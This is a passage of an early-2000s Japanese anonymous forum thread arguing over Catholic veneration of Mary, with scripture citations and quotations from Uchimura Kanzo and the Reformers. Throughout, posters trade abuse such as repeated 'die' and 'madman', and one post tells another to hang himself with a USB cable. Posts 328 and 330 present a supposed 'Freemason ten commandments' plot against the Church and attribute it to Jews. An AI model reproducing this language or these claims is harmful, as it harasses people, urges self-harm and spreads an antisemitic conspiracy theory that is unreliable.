みんな間違ってきたことにもなる。
209 :
名無しさん@1周年 :02/11/24 18:52
>>208 大馬鹿やろう!
何をどう正しいとしてきたと言うのだ!
それじゃあ答えようがねえだろう!
210 :
名無しさん@1周年 :02/11/24 19:05
>>209 答えようがないということは、
君は全く聖書を知らないということになるのさ。
=聖書に君は接したことがない=神を知らない。
となるということさ。自らそう言うとは情けないな。
211 :
名無しさん@1周年 :02/11/24 20:52
>>210 馬鹿野郎!
うそを書き込むとマリヤが神の母になるのか?
死ね馬鹿!
212 :
名無しさん@1周年 :02/11/24 21:02
なんか、久々にまとまった量のこの口調を見るぜ。懐かしい
213 :
名無しさん@1周年 :02/11/24 21:09
>>211 悔しいのだね。まぁ、人間はみんなそんなもんさ。
214 :
名無しさん@1周年 :02/11/25 00:34
>>205 >マリヤ崇敬しろなんて書いてないぞ。
だから、敬っ(崇敬し)ているだけだって言ってるでしょ。
215 :
メジュゴリエ5/26/98教理省の通達・全訳 :02/11/25 00:35
俺さんウザイです。
216 :
アルミ堕天使 :02/11/25 00:37
俺さんいるのか?新しいダッチちゃんを買ったのか?藁藁
217 :
名無しさん@1周年 :02/11/25 00:41
俺さん逃げたのか?(w
218 :
名無しさん@1周年 :02/11/25 02:35
ヘブル7:3によれば、 「メルキゼデクには父も母も祖先の系図もなく、生涯の初めも命の終わりもなく、神の子に似て、祭司の身分を保ち続ける」とあります。 筆者は詩編110編を論じています。それによれば、 「あなたは永遠にメルキゼデクの職に等しい祭司である」(ヘブル5:6)となります。 キリスト教ではイエスの父ヨセフは養父とされ、これなら今掲げた文意に調和しますが、 特別な位置付けがやはり無いはずの母マリア(イエスを産んだ際にマリアは律法通り自分の罪の捧げ物を捧げた。ヘブル書の筆者によるとイエスは「罪の無い方」-ヘブ4:15)への扱いは 調和しませんね。
219 :
名無しさん@1周年 :02/11/25 03:18
調和しないのはオマエのオツム218
220 :
名無しさん@1周年 :02/11/26 02:14
221 :
名無しさん@1周年 :02/11/26 02:17
>>218 詭弁考える暇があったら
USBケーブルで首吊れ!
222 :
ふらんちぇすこ :02/11/26 05:40
荒れとるのう。俺さん、どうした? 自己破壊せんように気をつけるこった。 おまえの主張は全て論破した。諦めろ。
223 :
名無しさん@1周年 :02/11/26 06:34
>>222 冒頭においてマリヤ崇敬が間違いであることは明らかとなっている。
従って
>おまえの主張は全て論破した。
などというのは詭弁である。
そんなことまで教えてやらないと
わからないのか?
教えてもわからないんだろう!
脳みそが腐乱してるからなあ。
否、もう少し正確な言い方をすると
マリヤ崇敬が間違いであることは明らかであり
脳みそ腐乱ちぇすこは、
マリヤ崇敬は神に背く行為と、はっきり
わかっていながら罪を犯している。
ということになる。
それともなにかッ?
詭弁を並べて
「自分は知らずにマリヤ崇敬の罪を犯しているのだ」と
主張してみるか?
224 :
名無しさん@1周年 :02/11/26 18:14
225 :
名無しさん@1周年 :02/11/26 18:18
226 :
名無しさん@1周年 :02/11/26 18:25
またか
227 :
名無しさん@1周年 :02/11/26 18:45
かまた
228 :
名無しさん@1周年 :02/11/26 19:07
229 :
名無したん ◆jbl6actWF. :02/11/26 19:15
もう傍観するつもりだったけれど、俺さん、前提条件はまだ仮定であるのに、 頭から真だと決め付けている。これだと議論にならない。つうか、議論する気 もないのに、何でスレたてるの?こういうのは、自分のHPで説いたらどうよ?
230 :
名無しさん@1周年 :02/11/26 19:24
>>229 議論に値する議論って少ないような気もするが・・・・
まあ、ここまで続ける人間もめずらし。
感心するけどね、折れは。
ただ、終わりはなかろうよ。
名無したん、相手すると、かえって俺さんのためにならないよ。 ただでさえニューエージやらメジュゴリエ厨房に煽られて舞い上がって るんだしさ。 その説得がいま通じるなら、とうに自分のHP立ててやってるだろう。 てか世の中には自分のHP立ててるのに、わざわざ2chにスレ立てる 連中もいるからねえ。とほほ。
232 :
Gratian :02/11/26 20:11
>>1-231 聖書的な典拠を挙げて批判するのは批判対象が明確になって良いのですが、
例えばカトリックとプロテスタントそれぞれの教会法においては
マリア崇拝ってどういう扱いをされているのでしょうか?
教会法に限らず、教皇勅書とかプロテスタント側の諸教派それぞれの見解を示す
文書などを提示して議論して頂けると非常にありがたいのですが・・・
といいますのは、確かに、聖書的な典拠に即して見るとマリア崇拝が異端的
(乃至は異教的)信仰とされ、教会罰の対象になり得ることは理解できるのですが、
しかし、あまりにも聖書原典主義になると、キリスト教会が各教派ごとに
(それこそカトリック、プロテスタントなどなど)形成してきた歴史を無視して
議論してしまうことになるのでないかと、私はおそれるのです(板の文脈をずらして
しまって申し訳ないのですが、そうすると、例えばゲルマン人のキリスト教への
改宗の際にマリア崇拝が果たした役割の評価などが出来なくなってしまいます)。
単にマリア崇拝は聖書的典拠が無いから駄目!と言うだけではなくて、歴史的に
マリア崇拝がどう展開してきたかを検討した上で、マリア崇拝の持つ現代的な問題
(即ち、メジュゴリエの問題)に対して立ち向かうことが重要なのではないか、と
思うのです。即効性の無い、胡乱な方法かもしれませんが。しかし、回り道が
近道の場合もあるかと。
233 :
Gratian :02/11/26 20:11
>>1-231 聖書的な典拠を挙げて批判するのは批判対象が明確になって良いのですが、
例えばカトリックとプロテスタントそれぞれの教会法においては
マリア崇拝ってどういう扱いをされているのでしょうか?
教会法に限らず、教皇勅書とかプロテスタント側の諸教派それぞれの見解を示す
文書などを提示して議論して頂けると非常にありがたいのですが・・・
といいますのは、確かに、聖書的な典拠に即して見るとマリア崇拝が異端的
(乃至は異教的)信仰とされ、教会罰の対象になり得ることは理解できるのですが、
しかし、あまりにも聖書原典主義になると、キリスト教会が各教派ごとに
(それこそカトリック、プロテスタントなどなど)形成してきた歴史を無視して
議論してしまうことになるのでないかと、私はおそれるのです(板の文脈をずらして
しまって申し訳ないのですが、そうすると、例えばゲルマン人のキリスト教への
改宗の際にマリア崇拝が果たした役割の評価などが出来なくなってしまいます)。
単にマリア崇拝は聖書的典拠が無いから駄目!と言うだけではなくて、歴史的に
マリア崇拝がどう展開してきたかを検討した上で、マリア崇拝の持つ現代的な問題
(即ち、メジュゴリエの問題)に対して立ち向かうことが重要なのではないか、と
思うのです。即効性の無い、胡乱な方法かもしれませんが。しかし、回り道が
近道の場合もあるかと。
234 :
Gratian :02/11/26 20:12
二重カキコしてごめんなさい。 失礼しました。
235 :
名無しさん@1周年 :02/11/27 03:39
俺さんよう。 いつまで堂々巡りしてるんだよう。 オメーはとっくの昔に論破されてんだよう。 いいかげん事実を認めろ!
236 :
名無しさん@1周年 :02/11/27 07:25
>>1 全てのマリヤ像を粉砕焼却せよ〓〓〓ω
と幾ら力んでみても、
だれもマリア像を粉砕処分しないし、マリア崇敬をやめない。
どこか間違ってなーい?
237 :
名無しさん@1周年 :02/11/27 15:29
>>236 粉砕しない者が間違っている。
>>235 マリヤ崇敬の間違いは冒頭で明らかになっている。
論破も何もあるか。死ね馬鹿!
出鱈目言うな!
238 :
名無しさん@1周年 :02/11/27 16:14
>>237 冒頭は読んだがな。トンでもダッツーことしかわかんなかったがな。
オメー、ほんとにトンデモだなあ。w
239 :
名無しさん@1周年 :02/11/27 16:18
>>233 プロテスタントの信仰基準は聖書だ。
どこかの教会と違って怪文書を信仰基準などにはしない。
240 :
名無しさん@1周年 :02/11/27 16:19
俺さん もう一度教えてあげるね。マリア様って、だーれ? そ、イエス様のお母様。なら、マリア様は悪霊かな? 違うよね?マリア様は、そう、君が拝んでるキリストのお母様だよね? 尊敬すべきだよね?これで分かったね? 無意味な議論はやめようね。
241 :
名無しさん@1周年 :02/11/27 16:23
>>240本とにそうだよね。俺さんて、狂ってるね!
242 :
名無しさん@1周年 :02/11/28 00:02
馬鹿野郎!マリヤ崇敬が神に背くことは証明済みだ! 死ね!アホ!バカ!
243 :
名無しさん@1周年 :02/11/28 00:36
>>210 たんにオマエの文がなってないのだ!死ね!
244 :
名無しさん@1周年 :02/11/28 00:53
245 :
名無しさん@1周年 :02/11/28 06:58
バカボンとうちゃん
246 :
名無しさん@1周年 :02/11/28 09:19
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>>1-8 を読むのだ。
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
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247 :
名無しさん@1周年 :02/11/28 11:33
。 元祖マルタのカキコ 269 :マルタ ◆h9TkXSfcqs :02/10/19 23:40 もうっ! 腹立つわ。あたしの偽ものがウジャウジャ。
248 :
名無しさん@1周年 :02/11/29 18:01
バカボンパパに劣る知性 脳みそ腐乱ちぇすこ
249 :
名無しさん@1周年 :02/11/30 01:13
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>>1-8 を読むのだ。
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250 :
名無しさん@1周年 :02/11/30 01:15
スレタイα〓〓〓全てのマリヤ像を粉砕焼却せよ〓〓〓ω ??? ???????? なんじゃこれは????? 全てのマリヤ像を粉砕焼却しても、 イエス様のお母様は粉砕焼却できんだろうに。ワラ
251 :
名無しさん@1周年 :02/11/30 01:28
「悪霊を追い出せ」 マルコーシュ・パブリケーション 奥山実著より引用 これも、ある先生に聞いた話ですが、追い出しの最中に、 悪霊が「どこどこなら出る」というのです。 ところが先生は、認めないで「そこはだめだ」 と拒否しました。 その先生は、どこにやろうかなと思ったのですが、 「カトリックのマリヤ像のところへ行きなさい」 と言ったのだそうです。悪霊がなんと言ったと 思いますか、 「あそこは、いっぱいいるからダメだ。満員だ」 と答えたのです。
252 :
名無しさん@1周年 :02/11/30 01:35
悪霊で一杯なのは、俺さん。
253 :
名無しさん@1周年 :02/11/30 01:38
254 :
名無しさん@1周年 :02/11/30 07:10
もうすぐ出勤だよ。 ところで、クルノクルセイドという、最近はやりの、神父やシスターが悪魔祓 い系のコミックのCDで、悪魔がマリア像に化けて、神父をだまして生け贄を捧 げさせた挙げ句、神父を食ってた。カトリック神学的にツッコミ放題ですた。 あまりに面白いので、俺さんにお土産だ。
255 :
名無しさん@1周年 :02/11/30 11:03
>>251 >「カトリックのマリヤ像のところへ行きなさい」
>と言ったのだそうです。悪霊がなんと言ったと
>思いますか、
>「あそこは、いっぱいいるからダメだ。満員だ」
>と答えたのです。
「あそこはいっぱいいる」・・・何がいっぱいかは一目瞭然。
聖人の霊でいっぱいなのだ。悪魔が嫌うわけだ。w
256 :
名無しさん@1周年 :02/11/30 11:03
>>251 イエス・キリストは、
「悪魔は初めから嘘吐きです」と言っていますよ。
プロの先生は悪魔の嘘を信じるんですか?
これは驚きましたね。
257 :
名無しさん@1周年 :02/11/30 11:04
プロは内村鑑三の爪のアカでも煎じて飲みなさい。 「私は今、無教会の信者である。しかしながら、もし教会に入るとする ならば、私はローマ・カトリック教会に入ろうと思う。これは最も古い、 最も固い、最も世界的にして、最も完備せる教会である。 これは新教諸教会のような成り上がりの教会ではない。これは二千年間の 歴史に深き根拠をすえたる、もっとも歴史的の教会である。もし信仰を 維持するために制度の必要があり、教職の必要がありというならば、 私はかかる強固なる、かかる完備せる教会に入るべきである。 新教の牧師は言う。ローマ・カトリック教会は腐敗していると。しかし、 もし腐敗のことであるならば、新教の諸教会とても、カトリック教会に 譲らない。ことに、米国の新教諸教会のごときに至っては、 その腐敗たるや、実に言語に絶えたるものがある。もし教会を陥りし腐敗 によって裁くならば、世に取るにたるべき教会は一つもなくなる。
258 :
名無しさん@1周年 :02/11/30 11:04
私はカトリック教会が腐敗しておればとて、その荘厳と堅牢を疑わない。 またいう、カトリック教会に信仰の自由がないと。しかし、私はそうは 信じない。勿論教会として立つ以上は、多少の束縛なるものはやむを えない。そうして、カトリック教会の束縛なるものは、その世界的である だけ、それだけ緩やかである。 私は自由を標榜する小なる新教諸教会の中に、もっとも厳酷なる束縛の 行われていることを知る。20世紀の今日のカトリック教会は、ルーテル 在世当時のそれではない。カトリック教会の偉大なる理由の一つは、 その世と共に変遷進歩するの一事である。殊に、私がカトリック教会 について感歎してやまないことは、その伝道法の常に静寂にして、 終始一貫していることである。 新教の諸教会が、騒ぎ、踊り、叫び、吹き立てるときにあたって、 古きカトリック教会は、その静かなること太古のごとしである。 カトリック教会は、名士を招聘して大演説会を開かない。
259 :
名無しさん@1周年 :02/11/30 11:04
カトリック教会は、万国学生大会を開いて示威運動を試みない。 カトリック教会は、自己を信ずるにあまりに篤きがゆえに、 この世の権者にすがり、その威力を借りて教勢を拡張しようとしない。 ローマ・カトリック教会は、貴婦人的教会である。 その聖マリア崇敬は、よくその理想を表している。カトリック教会に 新教諸教会にいるような鉄面皮の婦人はおらない。婦人らしき婦人を、 私は最も多くカトリック教会の中に見る。新教諸教会にもっとも欠けて いるものは、婦人のモテスチー(謙卑)である。マリア崇敬をあざける 新教諸教会は、その不徳に於いては、はるかにローマ・カトリック教会 の下にある。
260 :
名無しさん@1周年 :02/11/30 11:05
聖オーガスチンの母教会にして、聖フランシスコを出し、トマス・アクイ ナスを生み、ニューマン大僧正をひきつけしローマ・カトリック教会は、 今日なお、尊敬すべき教会である。 私もまた、もし、今教会に入るの必要を感ずるに至るならば、 けんけんごうごうとして、この世の勢力を得るに日もまた足らざる 新教諸教会に入らずして、古き、固き、広き、ローマ・カトリック教会に 入らんと欲する」 (明治45年5月『聖書の研究』第87号、内村鑑三全集第9巻18ページ)
261 :
名無しさん@1周年 :02/12/01 10:22
俺さんは、速やかに回心して、カトリック信仰に戻りなさい。
262 :
名無しさん@1周年 :02/12/01 16:40
263 :
名無しさん@1周年 :02/12/01 17:39
オマエさんは、速やかに回心して、プロテスタントに行きなさい。
264 :
名無しさん@1周年 :02/12/01 20:24
>>257 内村鑑三を尊敬してるのか?
ならば、来週からプロテスタントに行け。
265 :
名無しさん@1周年 :02/12/01 20:45
>>264 もしかして、カトは内村鑑三を尊敬していないと言うのか?
あきれたものだな。
266 :
名無したん ◆jbl6actWF. :02/12/02 07:09
>>257-260 正直、こんな遺稿があるなんて知らなかった。勉強になりまふ。
じゃあ、出勤の時間だ。さらばじゃ。
267 :
名無しさん@1周年 :02/12/02 10:26
論破されても自覚症状のない患者には、その自覚はない。 病院へ行けばいいのさ<俺さん
268 :
名無しさん@1周年 :02/12/02 17:46
感謝する相手を間違ってるよ
269 :
名無しさん@1周年 :02/12/04 19:26
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\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
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|(( \□ ̄□/| |
>>1-8 を読むのだ。
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270 :
名無しさん@1周年 :02/12/04 19:28
>>269 よんだって。あんたが間違っているね。うちの馬鹿息子もあんたの間違いを見ぬいたけど?あんたはばか以下
271 :
名無しさん@1周年 :02/12/04 19:31
◆カトリック教徒の心理状態◆ 意地になって反発するカトリック教徒の心理状態は、次のようなものであると、私は考えます。 1、彼らは遅くとも、何度か忠告を受けた段階で、間違いに気付いています。 2、マリヤ崇敬の罪を犯す事をやめたり、マリヤ崇敬をやめるべきだと主張して批難される事を恐れ、マリヤ崇敬の罪を犯し続けている。 3、「マリヤ崇敬を正しい行為と信じ込んでいる事を装い、悪いと知らずに罪を犯しているように振る舞っていれば、不可抗力と見做されるのではないだろうか」と考えている。 4、「正しいと信じ込んでいる事を装うには、この罪を平然と犯し、正当な行為だと主張していくべきだ」と考えている。(注意:正しいと信じている事と、正しいと信じている事を装う事は正反対です) 5、「誰かが、自分の愚かな言動とその害を見兼ねて、間違いが容易にまかり通ってしまう世の中を何とかするだろう」と、愚かな期待をしている。
272 :
名無しさん@1周年 :02/12/04 19:34
273 :
名無しさん@1周年 :02/12/04 19:48
◆カトリック教徒の心理状態◆ 意地になって反発するカトリック教徒の心理状態は、次のようなものであると、私は考えます。 1、彼らは遅くとも、何度か忠告を受けた段階で、間違いに気付いています。 2、マリヤ崇敬の罪を犯す事をやめたり、マリヤ崇敬をやめるべきだと主張して批難される事を恐れ、マリヤ崇敬の罪を犯し続けている。 3、「マリヤ崇敬を正しい行為と信じ込んでいる事を装い、悪いと知らずに罪を犯しているように振る舞っていれば、不可抗力と見做されるのではないだろうか」と考えている。 4、「正しいと信じ込んでいる事を装うには、この罪を平然と犯し、正当な行為だと主張していくべきだ」と考えている。(注意:正しいと信じている事と、正しいと信じている事を装う事は正反対です) 5、「誰かが、自分の愚かな言動とその害を見兼ねて、間違いが容易にまかり通ってしまう世の中を何とかするだろう」と、愚かな期待をしている。
274 :
名無しさん@1周年 :02/12/04 20:46
275 :
名無しさん@1周年 :02/12/04 20:49
メジュゴリエのドブの水を飲むと病気が治る?
裏だっけか逆だっけか。情報数学、忘れた。 1、彼らは遅くとも、何度か忠告を受けた段階で、間違いに気付いています。 2、マリア冒涜の罪を犯す事をやめたり、マリア冒涜をやめるべきだと主張 して非難される事を恐れ、マリア冒涜の罪を犯し続けている。 3、「マリア冒涜を正しい行為と信じ込んでいる事を装い、悪いと知らずに 罪を犯しているように振る舞っていれば、不可抗力と見做されるのではない だろうか」と考えている。 4、「正しいと信じ込んでいる事を装うには、この罪を平然と犯し、正当な 行為だと主張していくべきだ」と考えている。(注意:正しいと信じている 事と、正しいと信じている事を装う事は正反対です) 5、「誰かが、自分の愚かな言動とその害を見兼ねて、間違いが容易にまか り通ってしまう世の中を何とかするだろう」と、愚かな期待をしている。 つうか、意味がよく分からん。さあて、深夜勤の準備でもするか(鬱
277 :
名無しさん@1周年 :02/12/05 17:08
278 :
名無しさん@1周年 :02/12/05 17:10
279 :
名無しさん@1周年 :02/12/05 17:12
280 :
名無しさん@1周年 :02/12/05 19:03
281 :
名無しさん@1周年 :02/12/05 19:48
282 :
名無しさん@1周年 :02/12/06 01:02
>>1 は人間を像に彫って拝むと言う崇敬の仕方が
キリストの教えを基準にすれば間違ってると言ってんだろ
正しいじゃね!
何をムキになって反対しているんだ?
いい加減、キリスト教から異教要素をふるい分けろ。
283 :
名無しさん@1周年 :02/12/06 01:07
>>1 はカトリックに異教の要素がふんだんに混入している事実を
言ってんだろ。それが、キリストの教えを基準にすれば間違って
ると指摘してんだろ?正しいじゃね。鹿渡はキリストのもとの教え
とは違うぜ。自分でも認めてんだろ。居直ってるだけじゃね。何を
ムキになって反対しているんだ?
いい加減、キリスト教から異教要素をふるい分けろ。
284 :
名無しさん@1周年 :02/12/06 01:08
実際に礼拝しているのに崇敬と言い換えて1000年。いいかげん詭弁が暴露されてるんだから、異教の習慣をやめようね。
285 :
名無しさん@1周年 :02/12/06 09:16
それより、コピペのやり方教えてよ。
286 :
名無しさん@1周年 :02/12/06 09:28
>285 キミにはむりだ
287 :
名無しさん@1周年 :02/12/06 09:35
288 :
名無しさん@1周年 :02/12/06 11:45
>>285 285 :名無しさん@1周年 :02/12/06 09:16
それより、コピペのやり方教えてよ。
ほら簡単だろう。
289 :
名無しさん@1周年 :02/12/06 11:50
>>288 そらあ、無限ループになるんで、簡単とはいえなくなる。
イジワルせんで、やさしーく、分かるようにおせーてくら
はい。ね、ね、ね・・・・・・おねげえしますだ。
290 :
名無しさん@1周年 :02/12/06 11:55
カーソルを文字の少し左に持って行く 左クリックしながらマウスを右に動かす カーソルを青い部分に持って行く 右クリックして「コピーを選択」 コピーしたい所にカーソルを持って行く 右クリックして「貼り付け」を選択する
291 :
名無しさん@1周年 :02/12/06 12:01
カーソルを文字の少し左に持って行く 左クリックしながらマウスを右に動かす カーソルを青い部分に持って行く 右クリックして「コピーを選択」 コピーしたい所にカーソルを持って行く 右クリックして「貼り付け」を選択する
292 :
名無しさん@1周年 :02/12/06 12:03
293 :
名無しさん@1周年 :02/12/06 12:04
294 :
名無しさん@1周年 :02/12/06 12:07
295 :
名無しさん@1周年 :02/12/07 19:32
あ
296 :
名無しさん@1周年 :02/12/08 14:39
>>294 裏技覚えるとマリヤが神の母に変身するのか?
297 :
名無しさん@1周年 :02/12/08 14:41
マリアは無原罪懐胎、終生童貞です!!! ルターも、ツウィングリも、ウェスレーも証言しています。 プロは観念しなさい。これ以上、罪の上塗りをしてはなりません。 ルターの証言 「マリアの霊魂の受胎が原罪なく行われたというのは、甘美なる、 敬虔なる信仰である。すなわち、霊魂の受胎そのものにおいて、 マリアもまた原罪を免れ、神の賜物に満たされ、神によって受胎する 純なる霊魂を受け、こうして、生の最初の瞬間から、すべての罪を 拭われていたという信仰である。」 ("On the Day of the Conception of the Mother of God," 1527).
298 :
名無しさん@1周年 :02/12/08 14:41
「マリアは恵みに満ち、まったく罪がないと宣言される。 何と素晴らしいこと。神の恵みは、マリアをあらゆる善で満たし、 あらゆる悪から免れさせた」 (Personal {"Little"} Prayer Book, 1522). ツウィングリ 「私は、神のおん母、永遠に純潔なる、原罪なき童貞マリアを篤く敬う。 キリストはいとも清き童貞からお生まれになった」 (Stakemeier, E. in De Mariologia et Oecumenismo, Balic, K., ed., Rome, 1962, p. 456.) ジョン・ウェスレー 「私は信じる…イエス・キリストが祝されし童貞からお生まれになった ことを。マリアが、主をおうみになってからも、純潔かつ、染みなき 童貞であり続けたことを」 ("Letter to a Roman Catholic," quoted in A. C. Coulter, John Wesley, New York: Oxford University Press, 1964, 495}
299 :
名無しさん@1周年 :02/12/08 14:42
300 :
名無しさん@1周年 :02/12/08 14:42
1、マリアの第1教義―『神の母』。431年エペソ公会議で宣言。 聖書: ルカ1:43「私の主の母が私のもとに来られるとは」 旧約の民にとって、「私の主(アドナイ)」とは誰でしょう。 創世記15:2「私の主(アドナイ)、神よ」 新約の民にとって「私の主(キュリオス:アドナイのギリシャ語訳)」 とは誰でしょう。 Tコリ12:3「イエスは主(キュリオス)である」 マリアはまことに神の母です。
301 :
名無しさん@1周年 :02/12/08 14:49
マリヤが神の母でないことは冒頭で明らかになっている。
302 :
名無しさん@1周年 :02/12/08 14:50
303 :
名無しさん@1周年 :02/12/08 14:52
>>302 気が狂ったのか?
マリヤが神の母でないことは聖書によって明らかである。
304 :
名無しさん@1周年 :02/12/08 14:55
>>303 機が狂ってるのはオマエ。
マリアが神の母であることは聖書によって明らかである。
「神の母」431年エペソ公会議で宣言。
聖書: ルカ1:43「私の主の母が私のもとに来られるとは」
旧約の民にとって、「私の主(アドナイ)」とは誰でしょう。
創世記15:2「私の主(アドナイ)、神よ」
新約の民にとって「私の主(キュリオス:アドナイのギリシャ語訳)」
とは誰でしょう。
Tコリ12:3「イエスは主(キュリオス)である」
マリアはまことに神の母です。
305 :
名無しさん@1周年 :02/12/08 14:56
>>304 マリヤが神の母でないことは明らか。
いい加減にしやがれ!馬鹿野郎!
306 :
名無しさん@1周年 :02/12/08 14:57
307 :
名無しさん@1周年 :02/12/08 15:02
>>305 マリアが神の母であることは明らか。
いい加減にしやがれ! 馬鹿や老!
「神の母」431年エペソ公会議で宣言。
聖書: ルカ1:43「私の主の母が私のもとに来られるとは」
旧約の民にとって、「私の主(アドナイ)」とは誰でしょう。
創世記15:2「私の主(アドナイ)、神よ」
新約の民にとって「私の主(キュリオス:アドナイのギリシャ語訳)」
とは誰でしょう。
Tコリ12:3「イエスは主(キュリオス)である」
マリアはまことに神の母です。
308 :
名無しさん@1周年 :02/12/08 15:02
カトリック教会
主な特徴…a. ローマ法王の言葉や外典などを聖書と同等としている。
b. マリヤ礼拝…マリヤによる救い。
c. 洗礼など儀式、行いによる救い…幼児洗礼など
d. 偶像礼拝…聖人・マリヤ・キリスト像を拝む。
e. 司祭を通しての罪の赦し。
f. 煉獄など聖書にない教えが多数、しかも強調されている等
以上の事柄等より,当教会はカトリック教会を聖書の基準から判断し,異端と考えております。正しいプロテスタント教会は当教会と同様の立場をとります。
http://wf.31rsm.ne.jp/~nbc1/about_heresy.html
309 :
名無しさん@1周年 :02/12/08 15:03
カトリック教会
主な特徴…a. ローマ法王の言葉や外典などを聖書と同等としている。
b. マリヤ礼拝…マリヤによる救い。
c. 洗礼など儀式、行いによる救い…幼児洗礼など
d. 偶像礼拝…聖人・マリヤ・キリスト像を拝む。
e. 司祭を通しての罪の赦し。
f. 煉獄など聖書にない教えが多数、しかも強調されている等
以上の事柄等より,当教会はカトリック教会を聖書の基準から判断し,異端と考えております。正しいプロテスタント教会は当教会と同様の立場をとります。
http://wf.31rsm.ne.jp/~nbc1/about_heresy.html マリヤ崇敬なんかしてると異端と呼ばれちゃうぞ。
310 :
名無しさん@1周年 :02/12/08 15:05
311 :
名無しさん@1周年 :02/12/08 15:06
結局、マリアについてまとめると、こうですね? ●無原罪懐胎である。(ルター、ツウィングリ、ウェスレー) ●終生童貞である。(ルター、ツウィングリ、ウェスレー) ●共同贖罪者である。(コロサイ1:24、ルカ2:34、35)
312 :
名無しさん@1周年 :02/12/08 15:06
>>307 おまえは気違いだ!馬鹿野郎!
おまえが気違いの証拠
マリヤが神の母でないことが明らかであるにも関わらず、
「マリヤが神の母である」という明らかに矛盾した主張をする。
313 :
名無しさん@1周年 :02/12/08 15:07
マリアが神の母であることは聖書によって明らかである。 「神の母」431年エペソ公会議で宣言。 ルカ1:43「私の主の母が私のもとに来られるとは」 旧約の民にとって、「私の主(アドナイ)」とは誰でしょう。 創世記15:2「私の主(アドナイ)、神よ」 新約の民にとって「私の主(キュリオス:アドナイのギリシャ語訳)」 とは誰でしょう。 Tコリ12:3「イエスは主(キュリオス)である」 マリアはまことに神の母です。
314 :
名無しさん@1周年 :02/12/08 15:08
問:共同贖罪とはなんですか? 答:「あなたがたのために受ける苦しみを喜び、キリストのからだの ために、私の身をもって、キリストの苦しみの欠けたところを満たす」 (聖パウロ・コロサイ1:24) こと。 かつて罪人であったパウロでさえ、共同贖罪に召されたのであれば、 若干15歳で、「聖霊が臨み、いと高き方の力におおわれ、それゆえ、 聖なる者、神の子と呼ばれる嬰児を産み」(ルカ1:35)、 「聖霊に満たされたエリサベツから『祝福された方・・・アドナイの母』」 (ルカ1:41-43)と呼ばれた、原罪なきマリアにできて当たり前。
315 :
名無しさん@1周年 :02/12/08 15:11
>>312 >>307 おまえは気違いだ!馬鹿野郎!
おまえが気違いの証拠
マリヤが神の母でないことが明らかであるにも関わらず、
「マリヤが神の母である」という明らかに矛盾した主張をする。
と吠えてみたところで、マリアがアドナイ(神)の母であることは
変化しない。
316 :
名無しさん@1周年 :02/12/08 15:11
>>311 馬鹿野郎!
全部カトリックの迷信だ!大馬鹿野郎!
おまえは最低の屑だ!
おまえが下らないことを書き込むと
何人かのカトリック教徒が悔い改める機会を失うだろう!
おまえが馬鹿だということは分かった。
死ぬまで一人で大人しくマリヤ崇敬の罪を犯してろ!
但し、他の者に悪影響を及ぼすんじゃない!
大馬鹿野郎!
317 :
名無しさん@1周年 :02/12/08 15:12
>>316 文句はルターとウェスレーとツウィングリと、聖書に言ってね。w
318 :
名無しさん@1周年 :02/12/08 15:14
>>317 ふざけるな!大馬鹿野郎!
マリヤ雑に噛まれて毒が回って死ね!アホ!
319 :
名無しさん@1周年 :02/12/08 15:15
320 :
名無しさん@1周年 :02/12/08 15:15
>>318 文句はルターとウェスレーとツウィングリと聖書に言えばいいじゃん。
321 :
名無しさん@1周年 :02/12/08 15:19
>>319 だから、原像である天国のイエス様とマリア様を敬っているんです。像のあるなしは無関係。
322 :
名無しさん@1周年 :02/12/08 15:20
「マリヤを崇敬している、悪霊を崇敬していない。従って、悪霊と交わることはない」という詭弁に対して。 死者の霊は天国か地獄に行くのであり、人間に影響を与えることはできません。三位一体の神の他、人間に影響し得る霊的存在は御使いだけです。神に背いた悪霊は元々は御使いです。偶像礼拝をすれば悪霊と交わります。第1コリント10章20節 従って、マリヤ崇敬は悪霊と交わることです。
323 :
愛 ◆E1gsufP.u2 :02/12/08 15:21
はっきり言う。基本的にカトリックの方が、基督教の教えの正統性が ある。只、カトリックで勘違いしているのは、ルターの教えをプロテ スタントの教えだと受け取っている所が間違いです。カトリックの 間違いの部分を、神がルターを通して教会批判をしただけの話である。 教会の悪い部分を批判しただけで、カルヴィン派とは違う事を 指摘します。そして、カルヴィン派の基督教の教えは、堕天使ダビデ に魂を売り、聖書の中の神の教えを、偽典と外典として、教えを抹殺 した悪魔の教えである事を早く気付く必要がある。
324 :
名無しさん@1周年 :02/12/08 15:21
325 :
名無しさん@1周年 :02/12/08 15:22
>>323 大馬鹿野郎!
でたらめ言うな!死にやがれ!
326 :
名無しさん@1周年 :02/12/08 15:25
327 :
名無しさん@1周年 :02/12/08 15:26
328 :
愛 ◆E1gsufP.u2 :02/12/08 15:26
神を抹殺し悪魔ダビデに魂を売ったフリーメーソンの10悪行 ●フリーメーソンの10戒 1、ペトロの磐は粉々に砕かねばならない。教会には約2500人の司教 がいる。従って磐は2500個のかけらに砕かねばならない。既に教皇か ら権力が取り去られた様に、権力は司教からも取り去られねばならない。 その中で我々は、我々と意見を同じくする兄弟達(カトリックやプロテス タントに入り込んだフリーメーソン)と手を組むであろう。”来るべき時 代のキリスト教”という動機づけによって。 2、子供達の良心を変える事。父と子という関係から、同胞意識(仲間意 識)という関係へ。 3、伝統の根絶。カトリック教会の成熟した根を断ち切る。 4、福音書を空洞化する。宗教的真理を疑問視させる。 5、典礼の改革。今まで世界の共通語として典礼等を一つに結びつけるラ テン語強制の廃止 6、祈りと犠牲(償い)の時間を少なくさせる。 7、罪の意識を根絶する事ーー個人的罪というものはなく、環境があるだけ である(まさしく典型的な共産主義の考えである!忍)ーー有罪とか罪とか、 そういった意識を取り除かせる。 8、教会から次のものを剥ぎ取る。聖体におけるキリストの現存。敬虔な雰 囲気。聖像。奉献の性格と聖体拝領の性格を変えさせる事(これほど、イエ ス・キリストに対する憎しみは、ユダヤ教徒[本当は悪魔ダビデ教徒]しか 考える事が出来ない。だから、フリーメーソンはユダヤ人が関与している間 接な証拠でもある!忍)。 9、信教(信仰宣言)を伝統的なものから、現代的信仰に合う様に変え、そ の効果を無くさせる事 10.宗教的生活の全領域から神の母(聖母マリア)を除去させる事。
329 :
名無しさん@1周年 :02/12/08 15:28
330 :
愛 ◆E1gsufP.u2 :02/12/08 15:28
331 :
名無しさん@1周年 :02/12/08 15:30
332 :
名無しさん@1周年 :02/12/08 16:09
>>309 ここには正教は異端には含められてないな。
何故だろう?
333 :
名無しさん@1周年 :02/12/08 16:13
334 :
名無しさん@1周年 :02/12/08 16:40
>>333 正教は正統であるとするなら、
